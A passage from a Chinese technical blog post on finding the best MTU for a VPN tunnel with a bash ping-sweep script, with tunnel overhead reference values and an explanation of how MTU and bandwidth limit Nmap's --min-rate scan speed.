&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;成功!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SUCCESS_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;失败&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 避免无限循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$TEST_STEP&lt;/span&gt; -eq &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;警告: 步长为0可能导致无限循环!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;size &lt;span class="o"&gt;+&lt;/span&gt; TEST_STEP&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 执行测试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始对&lt;/span&gt;&lt;span class="nv"&gt;$TARGET进行MTU测试&lt;/span&gt;&lt;span class="s2"&gt;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;test_mtu_range
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$SUCCESS_SIZE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -gt &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;OPTIMAL_MTU&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;SUCCESS_SIZE &lt;span class="o"&gt;+&lt;/span&gt; TUNNEL_OVERHEAD&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;------------------------------------------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;测试成功! 最大无分片包大小: &lt;/span&gt;&lt;span class="nv"&gt;$SUCCESS_SIZE字节&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;隧道包头开销: &lt;/span&gt;&lt;span class="nv"&gt;$TUNNEL_OVERHEAD字节&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;推荐MTU值: &lt;/span&gt;&lt;span class="nv"&gt;$OPTIMAL_MTU&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;计算: 包大小(&lt;/span&gt;&lt;span class="nv"&gt;$SUCCESS_SIZE&lt;/span&gt;&lt;span class="s2"&gt;) + 开销(&lt;/span&gt;&lt;span class="nv"&gt;$TUNNEL_OVERHEAD&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 设置最佳MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt; sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="nv"&gt;$OPTIMAL_MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;已将tun0 MTU设置为&lt;/span&gt;&lt;span class="nv"&gt;$OPTIMAL_MTU&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;------------------------------------------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;测试失败! 未找到有效MTU值&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;可能原因:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1. 目标&lt;/span&gt;&lt;span class="nv"&gt;$TARGET不可达&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;2. 测试范围不适用(尝试调整参数)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;3. 网络环境特殊(防火墙阻止ICMP测试)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 还原初始设置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt; sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1500&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;已还原tun0 MTU为1500&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;保存后给脚本添加课执行权限，然后通过以下命令测试最佳MTU值。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 指定目标+完整范围测试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -t 192.168.116.72 -f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自定义测试范围&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -s &lt;span class="m"&gt;1450&lt;/span&gt; -e &lt;span class="m"&gt;1100&lt;/span&gt; -p -2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置隧道开销（适用于不同VPN协议）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -o &lt;span class="m"&gt;50&lt;/span&gt; &lt;span class="c1"&gt;# OpenVPN等大包头协议&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 更大步长覆盖宽范围 针对卫星链路优化&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -t 192.168.1.100 -s &lt;span class="m"&gt;1500&lt;/span&gt; -e &lt;span class="m"&gt;400&lt;/span&gt; -p -20 -o &lt;span class="m"&gt;60&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 精细步长测试可疑区间&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -t 10.8.0.1 -s &lt;span class="m"&gt;1420&lt;/span&gt; -e &lt;span class="m"&gt;1390&lt;/span&gt; -p -1 -o &lt;span class="m"&gt;50&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;隧道开销参考值&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;VPN协议&lt;/th&gt;
 &lt;th style="text-align: center"&gt;推荐开销值&lt;/th&gt;
 &lt;th style="text-align: center"&gt;包含内容&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;WireGuard&lt;/td&gt;
 &lt;td style="text-align: center"&gt;40-60&lt;/td&gt;
 &lt;td style="text-align: center"&gt;基本头+加密信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;OpenVPN&lt;/td&gt;
 &lt;td style="text-align: center"&gt;60-100&lt;/td&gt;
 &lt;td style="text-align: center"&gt;IP头+UDP头+OpenVPN封装头&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;IPsec&lt;/td&gt;
 &lt;td style="text-align: center"&gt;50-80&lt;/td&gt;
 &lt;td style="text-align: center"&gt;ESP头+认证数据+填充&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;L2TP&lt;/td&gt;
 &lt;td style="text-align: center"&gt;80-120&lt;/td&gt;
 &lt;td style="text-align: center"&gt;IP头+UDP头+L2TP头+PPP头&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;动态计算原理&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;最终MTU = 最大无分片包大小(ICMP数据+28字节) + 隧道包头开销
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250714130137559" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714130137559.png"&gt;&lt;/p&gt;
&lt;p&gt;Flower机场测试&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714125153653" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714125153653.png"&gt;&lt;/p&gt;
&lt;p&gt;龙猫机场测试&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714125614521" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714125614521.png"&gt;&lt;/p&gt;
&lt;p&gt;自建专线测试&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250714130040762" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714130040762.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，不同机场能承载的MTU是有差距的，机场之间不同节点也是有差距的。&lt;/p&gt;
&lt;h3 id="nmap-最佳参数确定"&gt;Nmap 最佳参数确定
&lt;/h3&gt;&lt;p&gt;理解 MTU、带宽和 Nmap 的 &lt;code&gt;--min-rate&lt;/code&gt; 参数之间的关系，关键在于它们如何共同影响&lt;strong&gt;网络数据包传输的速率和效率&lt;/strong&gt;，尤其是在进行网络扫描时。它们之间没有直接的数学公式，但相互影响显著：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MTU (Maximum Transmission Unit - 最大传输单元):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义：&lt;/strong&gt; 指网络链路层能够传输的最大数据帧（或数据包）的大小（以字节为单位）。常见值如以太网的 1500 字节（不含帧头）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 决定了单个数据包能承载的最大有效载荷（Payload）。如果应用层数据超过 MTU，它会被分片（Fragmentation）成多个数据包传输。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与扫描的关系：&lt;/strong&gt; Nmap 发送的探测包大小取决于扫描类型（如 SYN 扫描包很小，UDP 扫描包可能接近 MTU）和选项（如 &lt;code&gt;--data-length&lt;/code&gt;）。包的大小直接影响每个包在网络中传输所需的时间和资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;带宽 (Bandwidth):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义：&lt;/strong&gt; 指网络链路在单位时间内能够传输的最大数据量（以比特/秒为单位，如 Mbps, Gbps）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 这是网络的&lt;strong&gt;物理容量限制&lt;/strong&gt;。它设定了数据流经特定路径的&lt;strong&gt;最大速率上限&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与扫描的关系：&lt;/strong&gt; Nmap 扫描产生的总数据流量（所有发送和接收包的大小之和）除以扫描时间不能超过可用带宽（还需要考虑链路上的其他流量）。高带宽链路能承载更快的扫描速率。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nmap 的 &lt;code&gt;--min-rate &amp;lt;packets per second&amp;gt;&lt;/code&gt; 参数:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义：&lt;/strong&gt; 强制 Nmap 尝试以&lt;strong&gt;至少&lt;/strong&gt;指定的速率（每秒发送的包数）发送探测包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 主要用于&lt;strong&gt;加速扫描&lt;/strong&gt;。它告诉 Nmap 不要低于这个发送速率，即使目标响应缓慢或丢包率高。它直接控制的是&lt;strong&gt;发包的速率（包/秒）&lt;/strong&gt;，而不是数据速率（比特/秒）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与扫描的关系：&lt;/strong&gt; 这是用户主动设置的一个&lt;strong&gt;目标速率下限&lt;/strong&gt;，用于追求速度。但它受到 MTU 和带宽的物理限制。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;三者如何相互作用：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;带宽是总容量的天花板：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无论 &lt;code&gt;--min-rate&lt;/code&gt; 设置得多高，Nmap 实际能达到的&lt;strong&gt;数据速率（比特/秒）&lt;/strong&gt; 绝对不可能超过链路的可用带宽。&lt;/li&gt;
&lt;li&gt;公式表示： &lt;code&gt;(平均包大小 in bits) * (实际发包速率 in pps) &amp;lt;= 可用带宽 (in bps)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键点：&lt;/strong&gt; &lt;code&gt;--min-rate&lt;/code&gt; 控制的是&lt;strong&gt;包/秒 (pps)&lt;/strong&gt;，但带宽限制的是&lt;strong&gt;比特/秒 (bps)&lt;/strong&gt;。包的大小（受 MTU 影响）是连接两者的桥梁。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MTU 影响包大小，进而影响数据速率：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果 Nmap 发送的探测包很大（接近 MTU），那么即使以&lt;strong&gt;中等&lt;/strong&gt;的 &lt;code&gt;--min-rate&lt;/code&gt; (pps) 发送，产生的&lt;strong&gt;数据速率 (bps)&lt;/strong&gt; 也会很高，更容易接近或达到带宽上限。&lt;/li&gt;
&lt;li&gt;如果 Nmap 发送的探测包很小（如 SYN 扫描包只有 60-70 字节），那么即使设置非常高的 &lt;code&gt;--min-rate&lt;/code&gt; (pps)，产生的数据速率 (bps) 也可能远低于带宽上限。在这种情况下，瓶颈往往不在带宽，而在操作系统、网卡处理能力或目标响应能力上。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--min-rate&lt;/code&gt; 的追求与物理限制的冲突：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;追求高 pps：&lt;/strong&gt; 用户设置高 &lt;code&gt;--min-rate&lt;/code&gt; 是为了快速完成扫描（发送更多包/秒）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;带宽限制：&lt;/strong&gt; 如果包足够大，高 pps 会迅速消耗带宽。一旦达到带宽上限，Nmap 就无法再提高 pps（除非包变小，但包大小通常由扫描类型决定）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MTU 的间接影响：&lt;/strong&gt; 大包（接近 MTU）使得在较低 pps 下就达到带宽上限的可能性更高，限制了 &lt;code&gt;--min-rate&lt;/code&gt; 进一步提升 pps 的空间。小包则允许更高的 pps 而不触及带宽上限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他限制：&lt;/strong&gt; 即使带宽允许，过高的 &lt;code&gt;--min-rate&lt;/code&gt; 还可能超过操作系统或网卡的发送能力上限（PPS 上限），或者被网络设备（防火墙、路由器）的速率限制策略拦截，或者压垮目标主机导致其无法响应或产生大量丢包。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;总结关系：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;带宽是绝对上限：&lt;/strong&gt; 它限制了所有流量（包括扫描流量）的最大数据速率 (bps)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MTU 影响效率：&lt;/strong&gt; 它决定了单个包的最大尺寸。包的大小（由扫描类型和 MTU 共同决定）是连接发包速率 (pps - 由 &lt;code&gt;--min-rate&lt;/code&gt; 控制) 和数据速率 (bps - 受带宽限制) 的关键因子。大包更容易使扫描流量触及带宽上限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;--min-rate&lt;/code&gt; 是用户目标：&lt;/strong&gt; 它指定了 Nmap 尝试达到的最低发包速率 (pps)。它的实际效果&lt;strong&gt;受到&lt;/strong&gt;带宽（通过包大小换算成数据速率）以及操作系统、网卡、网络设备能力、目标响应能力和延迟（RTT）的&lt;strong&gt;综合限制&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;实际应用中的考虑：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;高速网络（高带宽）：&lt;/strong&gt; 在小包扫描（如 SYN 扫描）中，&lt;code&gt;--min-rate&lt;/code&gt; 可以设置得很高（几千甚至几万 pps），因为小包的高 pps 消耗的实际带宽相对较小，瓶颈通常在端点处理能力或网络延迟（RTT）。对于大包扫描（如大负载 UDP 扫描），高 &lt;code&gt;--min-rate&lt;/code&gt; 更容易达到带宽上限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低速网络（低带宽）：&lt;/strong&gt; 即使是中等 &lt;code&gt;--min-rate&lt;/code&gt; 或小包扫描，也容易达到带宽上限。设置过高的 &lt;code&gt;--min-rate&lt;/code&gt; 不仅无效（实际速率上不去），还可能导致严重拥塞和丢包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化扫描：&lt;/strong&gt; 理解网络带宽和典型 MTU 有助于合理设置 &lt;code&gt;--min-rate&lt;/code&gt;。目标应该是找到在可用带宽和处理能力范围内尽可能快（高 pps）但不至于引起过度丢包或被防火墙封禁的速率。通常需要根据网络环境和扫描类型进行测试和调整。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免拥塞：&lt;/strong&gt; 在共享网络或生产环境中扫描时，过高的 &lt;code&gt;--min-rate&lt;/code&gt;（尤其在大包情况下）会迅速消耗带宽，影响其他业务。务必谨慎使用并选择非高峰时段。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;简言之：&lt;code&gt;--min-rate&lt;/code&gt; 设定你想要的速度（包/秒），但你能跑多快，取决于你的车（包大小/MTU）和马路有多宽（带宽），还要考虑交通规则和其他车辆（网络设备、拥塞、延迟、端点性能）。&lt;/strong&gt; 带宽是硬性限制，MTU 影响单个“货物单元”的大小，而 &lt;code&gt;--min-rate&lt;/code&gt; 是你踩油门的力度。&lt;/p&gt;
&lt;p&gt;你可以使用简单的乘除法来估算&lt;code&gt;--min-rate&lt;/code&gt;的值，也可以使用以下命令来自动计算。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
